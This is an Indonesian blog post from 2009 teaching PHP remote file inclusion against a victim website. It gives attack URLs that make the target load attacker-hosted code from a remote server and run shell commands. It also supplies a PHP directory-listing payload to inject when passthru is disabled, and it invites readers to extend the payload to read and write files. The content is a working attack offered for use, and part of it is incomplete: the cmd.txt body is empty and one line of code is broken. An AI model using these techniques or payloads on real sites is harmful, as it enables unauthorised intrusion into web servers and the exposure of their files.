Minggu, 19 April 2009

PHP injection

Sudah banyak artikel2 yang membahas PHP injection. Salah satu command yang

sering dipergunakan dalam aksi 'php injection' adalah 'ls -al' untuk melihat

isi direktori.



Seperti misalnya:

http://www.korban.com/index.php?page=http://www.situsku.com/cmd.txt&?cmd=ls -al



dimana isi dari http://www.situsku.com/cmd.txt adalah



// begin of cmd.txt



// end of cmd.txt



Namun, terkadang aksi itu gagal, tidak menghasilkan apapun atau hanya

menghasilkan error. Salah satu kemungkinan penyebab kegagalan, fungsi dari

passthru di'disable' oleh sang admin. Tentunya hal ini dilakukan oleh sang

admin dengan alasan keamanan. Tapi kita bisa mengakalinya dengan membuat

script untuk melihat isi direktori.



Berikut script yang penulis modifikasi dari php manual:



// begining of list.txt




function lookdir($mydirectory) {

$strdir = array();

chdir($mydirectory);

echo "

Directory of $mydirectory ";

if($handle = opendir($mydirectory)) {

while (false !== ($file = readdir($handle))) {



$perms = fileperms($file);

if (($perms & 0xC000) == 0xC000) {

// Socket

$info = 's';

} elseif (($perms & 0xA000) == 0xA000) {

// Symbolic Link

$info = 'l';

} elseif (($perms & 0x8000) == 0x8000) {

// Regular

$info = '-';

} elseif (($perms & 0x6000) == 0x6000) {

// Block special

$info = 'b';

} elseif (($perms & 0x4000) == 0x4000) {

// Directory

$info = 'd';

if ($file != ".") {

if ($file != "..") {

$strdir[] = $mydirectory . $file;//preg_replace('//./','/',$file);

}

}

//return $strdir;

} elseif (($perms & 0x2000) == 0x2000) {

// Character special

$info = 'c';

} elseif (($perms & 0x1000) == 0x1000) {

// FIFO pipe

$info = 'p';

} else {

// Unknown

$info = 'u';

}





// Owner

$info .= (($perms & 0x0100) ? 'r' : '-');

$info .= (($perms & 0x0080) ? 'w' : '-');

$info .= (($perms & 0x0040) ?

(($perms & 0x0800) ? 's' : 'x' ) :

(($perms & 0x0800) ? 'S' : '-'));



// Group

$info .= (($perms & 0x0020) ? 'r' : '-');

$info .= (($perms & 0x0010) ? 'w' : '-');

$info .= (($perms & 0x000 8) ?

(($perms & 0x0400) ? 's' : 'x' ) :

(($perms & 0x0400) ? 'S' : '-'));



// World

$info .= (($perms & 0x0004) ? 'r' : '-');

$info .= (($perms & 0x0002) ? 'w' : '-');

$info .= (($perms & 0x0001) ?

(($perms & 0x0200) ? 't' : 'x' ) :

(($perms & 0x0200) ? 'T' : '-'));





$array_file_owner = posix_getpwuid(fileowner($file));

$array_file_group = posix_getgrgid(filegroup($file));



$info .= " " . $array_file_owner['name'] . " ";

$info .= $array_file_group['name'] . " ";

$info .= filesize($file) . " ";

$info .= date("M d Y",filemtime($file)) . " ";

$info .= $file;



echo "
$info";

}

closedir($handle);

}

return $strdir;

} // end of function lookdir



$my_working_directory = getcwd();

lookdir($my_working_directory); // atau coba juga lookdir(".");



?>

// end of list.txt





Saat kita coba inject dengan menggunakan list.txt, misalnya:



http://www.korban.com/index.php?page=http://www.situsku.com/list.txt



akan menghasilkan isi direktori berikut permissionnya.



Tidak rapih memang, tapi tujuan kita untuk melihat isi direktori bisa

tercapai. Dengan fungsi fread,frwrite kita juga bisa membaca dan

menulis/membuat sebuah file.



Silahkan dikembangkan.

0 komentar:


Blogger Templates by Isnaini Dot Com and Wedding Gowns. Powered by Blogger